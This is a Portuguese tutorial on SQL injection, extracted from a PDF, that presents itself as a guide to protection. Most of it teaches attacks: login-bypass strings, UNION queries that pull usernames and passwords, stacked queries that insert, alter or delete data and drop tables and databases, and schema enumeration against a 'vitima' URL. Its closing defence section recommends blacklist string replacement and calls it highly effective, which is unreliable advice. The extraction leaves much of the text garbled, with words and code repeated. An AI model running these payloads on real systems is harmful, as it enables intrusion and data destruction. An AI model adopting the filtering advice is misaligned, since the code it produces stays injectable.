Segurança em rede Protegendo-se contra sqlinjection
Por: Juancarloscunha Juancarloscunha juancarloscunha.wordpress.com juancarloscunh a.wordpress.com
Índice Criando uma query Principio do sqlinjection Criando um sistema de login E senha para testes Burlar uma query Burlar um sistema de login e senha Usando parâmetro UNION Inserindo dados no banco de dados sem permissão Alterando dados do banco de dados sem permissão Excluindo dados do banco de dados sem permissão Excluindo tabelas do banco de dados sem permissão Excluindo database sem permissão Descobrir nome das colunas do banco de dados Descobrir nomes de tabelas do banco de dados Protegendo dados do banco Emunizando site, sistema... do sqlinjection Proteção na query conclusão
Pag: 3 Pag: 5 Pag: 6 Pag: 9 Pag: 11 Pag: 16 Pag: 17 Pag: 19 Pag: 21 Pag: 22 Pag: 23 Pag: 24 Pag: 26 pag: 29 pag: 29 pag: 31 pag: 34
Para você aprender com precisão esta apostila, você precisa de saber:
Básico em php, Básico em linguagem de programação e principalmente saber mexer com banco de dados
Criando uma query Query é uma execucao feita no banco de dados, como: Inserir dados do banco de dados, editar dados do banco de dados, deletar dados do banco de dados. Você pode fazer qualquer coisa que você quiser com uma query, Por isso quando uma pessoa faz um sqlinjection na query de algum site, ele toma conta do seu site(dependendo si o site tiver inteira conexao com o banco de dados). Comandos básicos para fazer uma query. Select => selecionar tabelas Insert into
=>
inserir dados no banco de dados
Deletar Drop
=> =>
deletar dados do banco de dados deletar tabela ou database
From Where
=> =>
especificar tabelas Parâmetros da consulta
Exemplo1:
$query_rr = ”select ”select id, nome, nome, descrição, descrição, valor, data, data, tipo from produtos”; produtos”; Explicação: selecione as colunas(id,nome,descrição,va colunas(id,nome,descrição,valor,data,tipo) lor,data,tipo) da tabela produtos Exemplo2:
$query_rr = INSERT INTO produtos (`nome`,`descricao`, ‘qtd`, `preco`, `status`, `data`) VALUES (‘NOTEBOOK', 'notebook para pessoas', '3', '1500,00’,qunta', 'notebook', ‘quita feira’); Explicacao: Insira na tabela produtos, os dados seguintes: NOTEBOOK na coluna nome, notebook para pessoas na coluna descrição, 3 para a coluna qtd, 1500,00 para a coluna preço,notebook para a coluna status, quinta feira para a coluna data.
Exemplo3:
$query_rr
=
“delete from produtos where cod='1002'”
Explicação: Delete a linha da tabela produtos em que o cod seja igual 1002
Exemplo4:
$query_rr
= “drop database sistema”;
Explicação: Delete o banco de dados sistema;
Principio do sqlinjection s qlinjection O principio do sql injection, é você saber o máximo que você você pode sobre banco de dados. dados. Baixe para a sua maquina, o progrma: heidiSQL, ou outro gerenciador de banco de dados. Pois eles ajudará você a entender muita coisa na injeção de códigos maliciosos. Para você aprender a injetar códigos sql em uma query, você precisa entender de banco de dados. Assim, você entenderia como funcionam as consultas sql, e como burlar uma consulta. Para depois conseqüentemente conseqüentemente aprender a si proteger contra estas pecas raras que saem invadindo todos sistemas sistemas que vêem pela frente sem saber com quem está mexendo ou muito menos com quem está lidando, Estas peças raras são chamados de lammer. Si você é uma dessas pessoas que querem aprender sql injection, somente para invadir sistemas. Para de ler esta apostila agora.
Criar um sistema de login e senha para nossos testes Neste Capitulo, é preciso preciso você saber saber só um pouquinho pouquinho sobre html e php. php. Existem dois métodos para envio de dados, São eles: $_GET, $_POST. Para criar um sistema de login você precisa saber enviar dados pelo método $_post[‘dado’]; Para você enviar dados por esse método via post, você precisa de um formulário de envio. Então vamos la. Nós vamos criar criar o sistema de login em php. Por padrão, o código da pagina.php fica assim: Igual ao html: DTD/xhtml1-transition al.dtd"> 3.org/1999/xhtml"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
Untitled Document
Vamos criar primeiramente um formulário de envio, e colocar a ação dele(action) para, valida.php. DTD/xhtml1-transition al.dtd"> 3.org/1999/xhtml"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
Untitled Document
Agora, dentro do formulário de envio. Temos que colocar o campo de login e senha, que neste caso terá os nomes de: utilizador(login) e passe(password). E um botão para enviar o formulário.
Criamos a pagina de login.php, e nesta pagina criamos um formulário enviando os dados(login e senha) para a pagina, pagina, valida.php. Agora, vamos criar a pagina valida.php. Na pagina valida.php, valida.php, temos que receber os dados dados que enviamos, enviamos, e depois verificar verificar si estes dados existem existem no banco de dados. Então vamos lá... Na pagina valida.php, valida.php, Coloque o código:
require_once("connection/local.php require_once("c onnection/local.php");//pagina ");//pagina de conexao com banco de dados $utilizador=$_POST['utilizador']; $passe =$_POST['pas =$_POST['passe']; se']; $passe=sha1($passe);
mysql_select_db($local_datab mysql_select_ db($local_database, ase, $local); $query_rr = "SELECT * from usuarios where usuario='$utilizador' and senha='$passe'"; $rr = mysql_query mysql_query($query_rr ($query_rr,, $local) or die(mysql_e die(mysql_error()); rror()); $row_rr = mysql_fetch_assoc($rr); $totalRows_rr = mysql_num_ro mysql_num_rows($rr); ws($rr);
if($totalRows_rr>""){ header("location:admin/index.php"); }else{ header("location:error.php");
} ?>
Na pagina, admin/index.php. admin/index.php. Coloque o código: Bem vindo ao sistema. Você precisa de uma pagina de error. Error.php Coloque o código: Errou a senha
voltar href=”index.php”>voltar Seu sistema está pronto. Só falta você colocar uma pasta chamada “connection”, com documento php chamado local.php. Código da pagina, local.php
="localhost";
$local_database $local_passe $local_user
="teste"; =""; ="root";
$local =mysql_pconnect($local_host,$ =mysql_pconne ct($local_host,$local_user,$loc local_user,$local_passe) al_passe) or trigger_erro trigger_error(mysql_err r(mysql_error(), or(), E_USER_ERROR); E_USER_ERR OR); ?>
Este são os dados da conexão com o banco de dados Agora, basta rodar um servidor wamp na sua maquina e ver como ficou o seu sistema de login. E tambem voce precisa criar um banco de dados para com as tabelas especificas para voce(agora esta parte voce vai ter que si virar).
Burlar uma query Para si burlar uma query, dependendo do nível da query é muito fácil. E dependendo do seu nível de conhecimento em banco de dados será muito fácil. Para burlar uma query, você tem que primeiramente aprender sobre a linguagem de programação em banco de dados. Neste curso, tudo que você vai aprender é burlar uma query(sqlinjection). Explicação:
Quando um programador faz um recordset(conexão com o banco de dados,query e tudo mais), Ele geralmente pegam dados pelo método GET ou POST para fazer uma interacao com a linguagem de programação do site site e do banco banco de dados. Exemplo:
GET => via URL, --à noticias.php?id=1 POST => via formulário, formulário, --à noticias.php Suponha que você está tentando explorar um site que manda os dados via GET. noticias.php?id=1 A query desta pagina deve estar mais ou menos assim Query_rr=”Select Query_rr=”Select id,nome,descricao,data_ini, id,nome,descricao,data_ini, data_alt from noticias Where id=’$id’”;
Este é o codigo da interação do banco de dados e php. Para quem não percebeu o código que está depois de noticias.php, ele está jogando o valor 1 para o id. Então no lugar da variável $id, você vai substituir por 1. O código vai ficar assim: Query_rr=”Select Query_rr=”Select id,nome,descricao,data_ini, id,nome,descricao,data_ini, data_alt from noticias Where id=’ 1’”;
Então, para você realizar um ataque sql injection você tem que pensar o seguinte. Qual o código que eu posso colocar colocar nesta query para para que esse select select tenha uma união união com outras tabelas tabelas do banco de dados. Eu já pensei em um código. código. Tente entender ele. Id=’1’union select 1,usuario,senha,4,5 from usuarios— Os traços no final é para deixar o que estiver na frente como comentário. A query ficará assim:
Query_rr=”Select Query_rr=”Select id,nome,descricao,data_ini, id,nome,descricao,data_ini, data_alt from noticias Where id=’ 1’union select 1,usuario,senha,4,5 1,usuario,senha,4,5 from usuarios—’” ;
Tente entender este código. Leia o capitulo que fala sobre o parametro UNION. Assim voce entenderá com mais clareza esta query junto do sqlinjection. Leia tambem o capitulo que fala sobre, como listar dados do banco de dados.
Burlar sistema de login e senha Para você ententer melhor este capitulo, Eu criei um sistema de login com a mesma lógica de sempre dos programadores normais. normais. Si o login e senha estiver corretos, então entra no sistema. Si não tiver certo da um ERRO! Geralmente, o sistema de login tem a seguinte query(consulta) no banco de dados. Select * from usuarios where usuário=’$usuario’ and senha=’$senha’ Explicacao >
Selecione tudo da tabela usuarios em que o usuario seja igual ao usuario digitado e a senha seja igual a senha digitada. Então, para burlar esta proteção, faça um código injetando neste outro... Exemplo: Para você entender melhor o código da vitima. Select * from usuarios where usuário=’usuario digitado’ and senha=’senha digitada
Para ter acesso a essa pagina de login e senha, vamos usar os seguintes parametros: -Comentarios #
Comentários
Or
ou
‘’
duas aspas simples que quer dizer NADA(ZERO)
Select * from usuarios where usuário=’’ or cod=1 –
‘or cod=1-Com esse codigo voce entrará normal no sistema de login e senha. Explicação:
Selecione tudo da tabela usuarios em que o usuário seja igual a nada ou a coluna cod seja igual 1 Códigos sqlinjection:
‘or’1’=’1 ‘or 1=1 ‘admin and senha!=’’ Esta falha de login e senha, você pode explorala de varias formas. Em um sistema com login e senha. Para dar mais emoção e facilidade na hora de explorar o sistema. Vá no site em que este sistema estiver. Pois provavelmente também conterá uma falha muito maior no site. Em que você pode descobrir o nome de cada usuário e sua senha
Para quem não entendeu muito bem esta parte da apostila entao, Leia o texto abaixo e tente endender melhor.
É muito comum hoje em dia, sites terem uma área restrita dedicada somente a administradores administradores dos sites a fim de editar o conteudo do site(CMS). Vou mostrar algo aqui neste post, que muitos administradores temeram as pessoas que lerem este tutorial/post. Essa técnica geralmente é chamada de SQL Injection, ou seja, injeção de SQL.
Introducao: Vamos a prática: Dentro desse script .asp, o programador colocou algo desse tipo: Código:
“select id,usuário,senha from usuarios where usuário=’$usuario’ and senha=’$senha’”; senha=’$senha’”; Isso acima é uma query! Isso verifica se achou um usuário com o login e senha informados Sendo que $usuario é o que foi especificado no sistema de login.php, Então si você especificar no $usuario um código parecido com esse: Admin -Explicação:
Si você colocar esse código acima no $usuario(Admin--), dependendo dependendo do grau de vulnerabilidade vulnerabilidade no sistema de login e senha. Ele entrara normal, sem dar nenhum erro.
Com este código a query, ficaria assim: Select id,usuário,senha from usuarios where usuário=admin usuário=admin – and senha=’$senha’. Para quem não lembra os dois traços(--), traços(--), em linguagem de banco de dados, dados, significa que que está na frente são comentário. Então na verdade, o que iria valer na query seria. Select id,usuário,senha from usuarios where usuário=’admin’ usuário=’admin’ Então si existir um usuário no banco de dados chamado “admin”, o seu sqlinjection irá funcionar normal. Si não funcionar é porque não existe este usuário no banco de dados. Então você terá que partir para a coleta de informações do alvo. Tipo: Qual o nome de cada pessoa que utiliza o sistema de login e senha. Si os nomes são: Fernando Algusto Carlos Silvio santos Entao, substitua o “admin” para um dos nomes acima: Exemplo: Fernando – Ou Algusto – Ou Carlos – Um destes terá que funcionar. Si nenhum destes códigos funcionar é porque o sistema que você está testando tem um grau de vulnerabilidade menos fácil de si explorar. Entao vamos partir para outro método de exploração. Vamos pensar um pouco: Código:
select usuario, senha, nome, admin from Users where usuario= 'geek' and senha= 's3nh4'
Dessa forma, trocamos as variáveis cUser e cSenha, pelos seus respectivos conteúdos. Isso funciona muito bem, quando usado de forma certa. Vale lembrar que de 10 sites que pedem login e
senha, 7 tem essa forma de consulta e estão sujeitos a algum tipo de invasão, dependendo do nível de acesso que permita aos seus usuários. Ok. Vamos ao erro:
Se quando formos digitar um login, tivermos essa string de programação do Sql na cabeça, podemos formar outra facilmente, que injeta um comando de Sql, dentro do que o programador já fez. Ou seja, se eu digitar Mario no username, o Sql ficará: fi cará: Código:
select usuario, senha, nome, admin from Users where usuario= 'Mario' and senha= 's3nh4'
Repare que as aspas simples continuam e fazem realmente parte do comando, que mostra ao sql que aquele campo deve ser comparado com um dado do tipo string. Agora, se digitarmos no username Ma'rio (com uma aspa simples no meio), a página dará um erro, pois o comando ficaria desse tipo: Código:
select usuario, senha, nome, admin from Users where usuario= 'Ma'rio' and senha= 's3nh4' Isso dá erro porque, Falando de caracteres como aspas simples e aspas duplas, quando é usada você precisa abrir a aspas e depois fecha-la. Si você deixar a aspas abertas entao dará erro. Analisando, vemos que quando fomos comparar o campo usuário, abrimos uma aspa simples, colocamos o conteúdo Ma ( Ma Mario) e fechamos a aspa simples. Para o Sql, a comparação terminou aí, o que vem depois, deveria ser comandos. Mas não era. Era a continuação do username, a palavra rio e mais uma aspa simples, que deveria estar fechando a primeira (antes da palavra Ma), mas na realidade está abrindo uma nova string no SQL, e como não é comparado com nada, o SQL retorna erro de programação. programação. Então, já que o SQL aguarda ansiosamente por outra aspa simples para fechar f echar aquela primeira, porque nós não damos a ele, e aproveitando, injetamos um comando nele. Imagine se usarmos usarmos a string ‘ OR’1’ ficaria assim: assim: Código:
select usuario, senha, nome, admin from Users where usuario= '' or '1' and senha= 's3nh4'
Lendo o comando, seria a mesma coisa que falar pro SQL: me retorne o usuário que seja igual a vazio OU 1. Lembrando que 1 em informítica é a mesma coisa que True (verdadeiro). Lendo novamente: Me retorne o usuário que seja igual a vazio (não existe nenhum) OU verdadeiro (opa.. verdadeiro é verdadeiro, então achei). Nisso, a tabela pega todos os usuários, pois todos dão verdadeiro. Não são igual a vazio, mas o 1 garante que todos sejam válidos. Agora falta só filtrar a senha. Se usarmos a mesma string mágica na senha, nós seremos o primeiro usuário da tabela, pois:
Código:
select usuario, senha, nome, admin from Users where usuario= ''or '1' and senha= '' or '1'
Me retorne o usuário que seja igual a vazio (nenhum) OU verdadeiro (todos) E que tenha a senha igual a vazio (nenhum) OU verdadeiro (todos). Isso traz todos os usuários da tabela, porém com o ponteiro no primeiro usuário. Quando fazemos uma tabela de usuários, e colocamos no ar, qual o primeiro usuário que incluímos? Nós mesmos, claro. E com nível de administrador. E é exatamente esse que viramos quando usamos essa falha. Alguns outros casos, são quando queremos entrar com o username de uma determinada pessoa. No username, colocamos colocamos o nome dela corretamente, e na senha, como não sabemos, usamos essa string que nos foi enviada por Malmé. O SQL, muito esperto, entende que é pra retornar o usuário com o nome informado e que tenha uma senha igual a vazio OU verdadeiro. Ou seja, na verdade, ele irá ignorar a senha, e apontará para o registro que o username seja seja igual ao que foi informando informando no campo campo do formulário. Vou colocar abaixo alguns códigos para você colocar no usuário e senha para ter acesso ao banco de dados.
Usuarios: admin’ or like ‘%%a%% Usuarios: ‘or’1’=’1 Usuarios: ‘ or like ‘%%d%% Usuarios: ‘ or cod=1 and senha>’’-Usuarios: ‘ >’’ and senha>’’-Usuarios: ’ or usuario>’’ and senha>’’--
OBS: Estude estes codigos sqlinjection e tente executar eles em algum sistema que voce mesmo criar. Ou si for utiliza-los em algum sistema alvo. Não seja um lammer ou script kiddie que invadem qualquer sistema que vêem pela frente só para mostrar que sabem. Você na precisa mostrar para ninguém que você sabe. As pessoas que precisam ver que que você sabe.
Usando parâmetro UNION Muitas pessoas tentam usar o parâmetro UNION no mysql e não consegue só por causa de um erro: selecionar tudo de duas tabelas selecionadas, Exemplo: SELECT * FROM parceiros UNION SELECT * FROM usuarios Isso não tem como a menos que a primeira tabela selecionada tenha o mesmo numero de colunas da segunda tabela. Que quase sempre não vai ser o caso. O certo seria fazer o seguinte.
Select cod, nome, valor from parceiros union select cod, usuário, senha from usuarios Neste select, eu seleciono o mesmo mesmo numero de tabelas tabelas nos dois selects. selects. Por isso que quando você vai fazer um sql injection via URL, você precisa primeiro saber o numero de colunas da tabela selecionada. Para descobrir a quantidade de colunas existentes na tabela. Basta fazer o seguinte: Aumentar o codigo Union select 1,2,3,4,5,6,7 Si der algum erro é porque a tabela tem mais ou menos que 7 colunas, agora si não der ERRo, você tem que ir aumentando e diminuindo a quantidade de colunas. No select anterior anterior nos verificamos 7 colunas colunas e não deu deu erro, então vamos vamos aumentando de de um em um até achar. Depois de achar a quantidade de colunas existentes no primeiro select, você precisa achar o nome da tabela dos usuarios OU o nome da tabela que você desejar. Não vou entrar entrar em muitos detalhes de sql injection, pois meu propósito não é esse aqui neste neste capitulo.
Inserir dados no banco de dados sem s em permissao. Para você inserir dados no banco de dados, você precisa dos nomes das colunas, e para descobrir os nome das colunas do banco de dados, não será neste capitulo que eu irei ensinar. Então é melhor você da uma espiada na parte que estou ensinando sobre como descobrir nome das colunas e tabelas do banco de dados. Então vamos lá
Aqui está o site de teste que nós vamos usar para inserir dados no banco de dados sem permiçao. permiçao. Não sei si você você já sabe, mais eu quero explicar explicar para que serve serve o ponto e virgula(;) virgula(;) , no mysql. ; - Serve para para você você terminar terminar uma execução do banco banco de dados, e começar começar outra si assim você quiser. Exemplo: ,dt_cad,dt_alt from fr om noticias where cod=’$cod’; insert into noticias Select id,titulo,descricao ,dt_cad,dt_alt (titulo,descricao,dt_cad,dt_alt) (titulo,descricao,dt_cad,dt_alt) values ('tetetetete', 'tetetetetete','tetetetet', '1', 'tetettet', 'tetete');
Então o mais importante você já viu, que é o uso do ponto e virgula( ;). Então vamos entender o código código acima que eu criei. criei.
Em uma mesma query, eu estou selecionando dados do banco de dados, e também inserindo dados no banco de dados. 1º - Select id, titulo,descrição,dt_cad,dt_alt titulo,descrição,dt_cad,dt_alt from noticias noticias where cod=’$cod’; 2º - insert into noticias(titulo,descricao,dt_ noticias(titulo,descricao,dt_cad,dt_alt) cad,dt_alt) values (‘titulo da noticia noticia aqui’, ‘descricao ‘descricao vai aqui’, ‘data de cadastro aqui’, ‘data de alteração vai aqui’);
Com este código que criei, eu consegui cadastrar uma nova noticia. E depois de cadastrada eu listei a mesma com a função UNION que já foi explicada. Criei somente uma noticia básica. Com o dados (tetetetetete), só isso; Obs: Si não der nenhum ERRO. É porque inseriu os dados com sucesso. Daí, basta você selecionar os dados que você inseriu
Editar dados do banco de dados sem permissao Como vocês já devem ter visto, eu criei um código sql injection para inserir dados no bando de dados sem permissão. Si você você já leu, vai perceber perceber que para editar editar dados do banco banco de dados; não não será tão difícil quanto quanto pareceu quando quando você estava estava começando começando aprender. Como foi já explicado, o ponto e virgula( ;) no mysql é para finalizar uma execução e criar outra. Por exemplo: Você esta selecionando uma devida tabela, porem você quer também editar alguns dados no banco de dados, para isso você precisa finalizar os dados que você esta selecionando com ponto e virgula(;), Depois fazer o código para editar os dados do banco de dados.
Exemplo:
Neste site acima, acima, já está sendo executada executada alguma alguma coisa ai, porque tem ate alguns dados dados listados ai. select cod,nome,descricao,img,status, cod,nome,descricao,img,status,dt_cadastro,dt_alte dt_cadastro,dt_alteracao racao from fabricante where cod='1'; update
fabricante set descricao='deu certo o teste',img='deu certo o teste' where cod='1' Obs: Para aqueles que não não gostam de estudar. Uma noticia mal: mal: Não dá para copiar este código código e tentar colar em algum alvo. Pois, cada banco de dados possui dados diferentes.
Excluindo dados do banco de dados sem permissao. Para excluir dados é o mais fácil de todos. Pois você não precisa saber os nomes das colunas, só da tabela que você pretende excluir os dados. Então para saber como descobrir o nome de uma tabela de um banco de dados, basta ir na parte deste curso que fala sobre isso. Explicação:
Novamente vai vai precisar do ponto e virgula(;). Depois de fazer o select do próprio site, você vai colocar um ponto e virgula(;) para criar outra execução no banco de dados. dados. O código para excluir dados do banco de dados, é esse: ; delete from noticias where cod='1'
Basta alterar os dados para os quais voce quer excluir Si você quiser excluir tudo que estiver no banco de dados coloque o seguinte código: ; delete from noticias where cod!='0'
OBS: Lembre de colocar colocar no lugar dos espacos espacos o “+’ mais, mais, ou %20 para que que não de error, ou ou use o internet explorer
Excluindo tabelas do db sem permissao Para deletar tabelas do banco de dados, voce vai fazer quase a mesma coisa do que deletar dados do banco de dados. Porem você vai ter que usar dois parâmetros diferentes. Drop =
delete
Table =
especificando especificando tabela
; drop table noticias
OBS: Vai ser da mesma forma do deletar conteudo das tabelas. Porem mais facil
Excluindo db sem permissao Para deletar um banco de dados inteiro de um site, dependendo da situação, da muito trabalho. Porque tem que saber o qual é o nome do banco de dados(database) dados(database) Mais depois que você saber o nome do banco de dados, você só precisa saber os parâmetro. ; drop database
Obs: de uma olhada na parte do curso que ensina como pegar nome do banco de dados. PARA FICAR MAIS FACIL A SUA COMPEENCAO
Descobrir nome das colunas do banco de dados Para descobrir os nomes de todas as colunas do banco de dados, também é uma coisa fácil de fazer. Para saber os nomes das tabelas do banco de dados, vamos usar um código bastante simples também, porem um código avançado. Ei-lo ai:
1,TABLE_NAME,3,4,5,6,COLUMN_NAM LUMN_NAME E FROM ‘union select 1,TABLE_NAME,3,4,5,6,CO INFORMATION_SCHEMA.COLUMNS where COLUMN_NAME!='KKKKK Explicacao >
_TABLE_NAME > o nome da tabela tabela em que o parametro parametro where, especificará. especificará. _INFORMATION_SCHEMA.COLUMNS _INFORMATION_SCHEM A.COLUMNS > nome da coluna coluna em que o parâmetro parâmetro WHERE especificará. especificará. _Where column_name!=’kkkkk column_name!=’kkkkk
>
em que o nome da tabela seja diferente de ‘kkkkk’
O LINK NO BROWSER FICARIA ASSIM: http://localhost/teste/index.php?cod=1' http://localhost/teste/index.php?cod=1' union select 1,TABLE_NAME,3,4,5,6,COLUMN_NAME 1,TABLE_NAME,3,4,5,6,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS INFORMATION_SCHEMA.C OLUMNS where COLUMN_NAME!='KKKKK
OBS: Entenda este código, código, pois si você entender, você perceberá perceberá que você pode pode achar qualquer tabela que
você quiser sem muito trabalho
Descobrir nomes de tabelas no banco de dados Para descobrir quantas tabelas o seu alvo tem criada no sistema. É fácil, porem muitas vezes complexa. Então, vamos la... Muitas vezes, quando você tenta fazer um ataque de sqlinjection, você deseja e precisa saber o nome da tabela que estão cadastradas os usuarios. E para descobrir o nome da tabela de usuarios, muitos que estão começando começando a praticar ataques sqlinjection acha muito muito difícil. Porem, de difícil não tem nada. Si é difícil ou fácil, isso depende si existe uma vulnerabilidade no sistema. Antes de explicar na pratica, como descobrir os nomes das tabelas, vou explicar os parâmetros. especificar um nome de alguma tabela que ainda ainda será chamada. TABLE_NAME - este parametro é para especificar - Este parametro é para para saber informacoes informacoes no banco de dados. Agora, você precisa, especificar para este comando, quais informações deseja saber. INFORMATION_SCHEMA
TABLE_NAME LIKE ‘%%usu%%’ - Este parametro é para selecionar todas as tabelas em que o nome
seja parecido com ‘usu’. OBS: Aconcelho a todos quando forem treinar sqlinjection em algum sistema, Não saia treinando em
sistemas que não conhece. Treine no seu próprio sistema. Crie paginas simples selecionando dados do banco de dados. dados. ______________________ __________________________________ ______________)__________ __)_____________________ ______________________ ___________ Vamos a pratica agora. Uma possível pagina vulnerável a sqlinjection, seria por exemplo. http://www.vitima.com.br/index.php http://www.vitima.com.br/inde x.php ?cod=’1’ Geralmente, programadores programadores criam consultas simples, simples, exemplo: Select * from noticias where cod_categoria=’$cod’ Ou seja, SELECIONE TUDO DA TABELA NOTICIAS EM QUE O COD_CATEGORIA SEJA IGUAL AO COD. Para burlar isso em um site vulnerável, é a coisa mais fácil do mundo. Esse é o site:
Agora eu vou mostrar O CODIGO que vou utilizar junto com o que já está sendo usado.
select * from marca where cod='1' union select 1,2,TABLE_NAME,4,5,6,7,8,9 from INFORMATION_SCHEMA.tables where TABLE_NAME like '%%usu% %'
Explicacao > Selecione tudo da tabela marca em que o cod seja igual a 1, e tambem selecione colunas 1,2, table_name,4,5,6,7,8,9 table_name,4,5,6,7,8,9 da tabela INFORMATION_SCHEMA. INFORMATION_SCHEMA.tables tables em que o nome da tabela seja parecido com ‘usu’
Nosso código deu certo. Agora, si você quiser listar todoas as tabelas do banco de dados em que o nome da tabela seja parecido em ‘A’ Acrescente o código, or table_name like ‘%%a%%’
select * from marca where cod='1' union select 1,2,TABLE_NAME,4,5,6,7,8,9 from INFORMATION_SCHEMA.tables where TABLE_NAME like '%%usu% %' or table_name like ‘%%a%%
Para explorar mais coisas sobre esta vulnerabilidade, basta estudar um pouco sobre sql E verá que você poderá fazer tudo nesta vulnerabilidade.
Emunizando Emunizando site, sistema... do sqlinjection, Protegendo dados do banco, Protegendo sistema de login e senha Para você eminizar o seu site,sistema,portal... é uma tarefas fácil para quem sabe. Mais mesmo assim, existem muitos grandes genius porai que ainda assim conseguem executar executar um sqlinjectio contra e sistema... Então eu vou tentar explica explicarr de uma forma mais pratica de como si livrar de vulnerabilidades vulnerabilidades de sqlinjection contra seu site.
Existem muitas formas de si combater o sqlinjection. Vou ensinar somente duas maneiras mais fáceis de si proteger. Quando você está lidando com códigos códigos numéricos via GET ou POST. A maneira maneira mais fácil e melhor de si proteger, é quando quando você for pegar pegar as variáveis via GET GET ou POST, fazer fazer validação si estas estas variáveis são mesmo números. Si não for números é porque está havendo um ataque sqlinjection, então crie uma pagina de alert ao hacker que está tentando invadir seu sistema. Exemplo: ERROR, pois você você está tentando tentando fazer um sqlinjection. sqlinjection. Eu gravei alguns alguns dados seu, seu, inclusive o seu ip. Tente mais uma vez e eu te procurarei por toda parte do mundo, com a policia do meu lado.
Faça uma pagina de erro parecida com essa, para aqueles que estiverem tentando invadir sua pagina, ficar f icar com medo. Código de validação numérica:
if(!is_numeric($_POST['codigo'])){ header("location:paginaerror.php") }
Outro código de validação numérica:
$codigo=(int)$_POST[‘cod $codigo=(int)$_POST[‘codigo’]; igo’]; /*pegando variável variável via post,si a variável for numérica*/
Agora, vem a parte mais difícil de si ligar, que é as variáveis via POST ou GET que não são geralmente numéricas.
Então para, fazer a validação si estas variáveis não são um ataque sqlinjection, Faça da seguinte forma as validações: Use: Str_replace(‘aser Str_replace(‘aser mudado’,’mudado’, mudado’,’mudado’, $oque foi mudado); Este parâmetro acima, é para retirar r etirar palavras, caracteres que você não quer que entre na variável. Vamos a pratica: Codigo validação:
$variavelrecebe
=$_POST[‘variavel’];
$variavelrecebe
=str_replace("'","",$variavelrecebe);
$variavelrecebe $variavelrecebe
=str_replace("+","",$variavelrecebe); =str_replace("%","",$variavelrecebe);
$variavelrecebe $variavelrecebe $variavelrecebe
=str_replace(" ","",$variavelrecebe); ","",$variavelrecebe); =str_replace("-","",$variavelrecebe);
$variavelrecebe
=str_replace("select","",$variavelrecebe);
$variavelrecebe $variavelrecebe
=str_replace("update","",$variavelrecebe); =str_replace("drop","",$variavelrecebe);
$variavelrecebe $variavelrecebe
=str_replace("delete","",$variavelrecebe); =str_replace("database","",$variavelrecebe);
$variavelrecebe
=str_replace("table","",$variavelrecebe);
Nesta validação validação acima nós retiramos retiramos alguns caracteres caracteres especiais e alguns alguns parâmetros que que geralmente são utilizados no sqlinjection.. Retiramos: aspa simples(‘), mais(+),porcentagem(%),espa mais(+),porcentagem(%),espaço( ço( ), traço(-), select,update, drop, delete,database,table
Para vocês que sabem outros métodos de proteção contra sqlinjection, mande um email para mim com o código de proteção, para mim dar uma analizada( juancarloscunh analizada( [email protected] [email protected]))
Proteção na query Existem muitas formas de se proteger contra ataques sqlinjection. Vou explicar explicar uma das mais usadas. Si você não quer que a pessoa faça com o sql injection, selects a mais do que você colocou. Basta fazer o seguinte: Ao pegar os dados e colocar colocar em uma variável, e colocar uma validação, validação, para toda vez que tiver a palavra “select” na variável, então troque por ”nada”. Exemplo: $utilizador
=
$_POST[‘utilizador’];
$utilizador
=str_replace(“select”,””, =str_replace(“select”,””, $utilizador);
Para você bloquiar todos os ataques, faca varias trocas com a função str_replace. $utilizador
=
$_POST[‘utilizador’]; $_POST[‘utiliza dor’];
$utilizador
=str_replace(“select”,””, =str_replac e(“select”,””, $utilizador);
$utilizador
=str_replace(“union”,””, =str_replac e(“union”,””, $utilizador);
$utilizador
=str_replace(“update”,””, =str_replac e(“update”,””, $utilizador);
$utilizador
=str_replace(“insert”,””, =str_replac e(“insert”,””, $utilizador);
$utilizador
=str_replace(“;”,””, =str_replac e(“;”,””, $utilizador);
$utilizador
=str_replace(“’”,””, =str_replac e(“’”,””, $utilizador);
$utilizador
=str_replace(“from”,””, =str_replac e(“from”,””, $utilizador);
$utilizador
=str_replace(“where”,””, =str_replac e(“where”,””, $utilizador);
Essa é uma das protecoes mais eficientes que está tendo hoje. Todo esse código é porque estes dados contem números e letras. Agora, quando você vai pegar um código com somente números de algum lugar. Basta fazer o seguinte: $codigo
=$_POST[‘codigo’];
if(!is_numeric($codigo){ header("location: header("loc ation: error.php") error.php");; }
Este código diz: Si o código que eu peguei via post, for diferente de números, Entao manda para uma pagina de erro
Conclusão Em um sistema que voce usa banco de dados, é melhor você tentar si proteger de todas as formas, pois os hackers do mal estao a solta. Esta apostila para você, terá que ser uma mera motivacão para estudos mais avancados sobre, como proteger um sistema que si conecta no banco de dados. Lendo esta apostila você deve ter compreendido que, si um sistema,site... não estiver protegido, não é muito dificil de algum hacker do mal invadir seu site.
Bibliografia juancarloscunha.wordpress.com juancarloscunha.wordpress.com
Segurança em rede Protegendo-se contra sqlinjection
Por: Juancarloscunha Juancarloscunha juancarloscunha.wordpress.com juancarloscunh a.wordpress.com